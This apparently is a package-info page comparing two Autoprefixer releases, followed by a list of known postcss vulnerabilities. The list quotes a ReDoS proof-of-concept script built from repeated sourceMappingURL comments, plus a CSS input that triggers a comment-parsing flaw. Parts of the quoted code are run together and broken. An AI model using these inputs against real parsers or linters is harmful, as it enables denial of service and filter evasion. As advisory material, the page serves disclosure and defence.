Autoprefixer, a CSS post-processor, automates the addition of vendor prefixes to CSS rules, ensuring compatibility across different browsers. The releases 1.0.20140130 and 1.0.20140117 offer similar core functionality: parsing CSS and applying prefixes based on data from Can I Use. Developers leveraging Autoprefixer can write cleaner, more maintainable CSS, avoiding the tedious task of manually managing browser-specific prefixes.
The key distinctions between these two versions lie primarily in their development dependencies. The newer version updates mocha, a testing framework, from 1.17.0 to 1.17.1, should, an assertion library, jumps from version 2.1.1 to 3.1.2 and stylus, a CSS preprocessor, is updated from 0.42.0 to 0.42.1. Furthermore, browserify, a tool for bundling JavaScript, goes from 3.20.0 to 3.24.6, and coffee-script also sees an incremental increase from 1.6.3 to 1.7.1.
For developers, these updates likely represent bug fixes, performance improvements, or new features within the development tooling. While the core Autoprefixer functionality remains consistent, the updated dependencies can streamline the development workflow for those contributing to or modifying the Autoprefixer codebase. Users primarily concerned with prefixing CSS may not notice significant differences in day-to-day use. However, those involved in Autoprefixer's development or those who rely on these specific versions of the dev dependencies might find the upgrades relevant. Ultimately, both versions contribute to simplifying CSS prefixing and enhancing cross-browser compatibility, a critical aspect of modern web development.
All the vulnerabilities related to the version 1.0.20140130 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.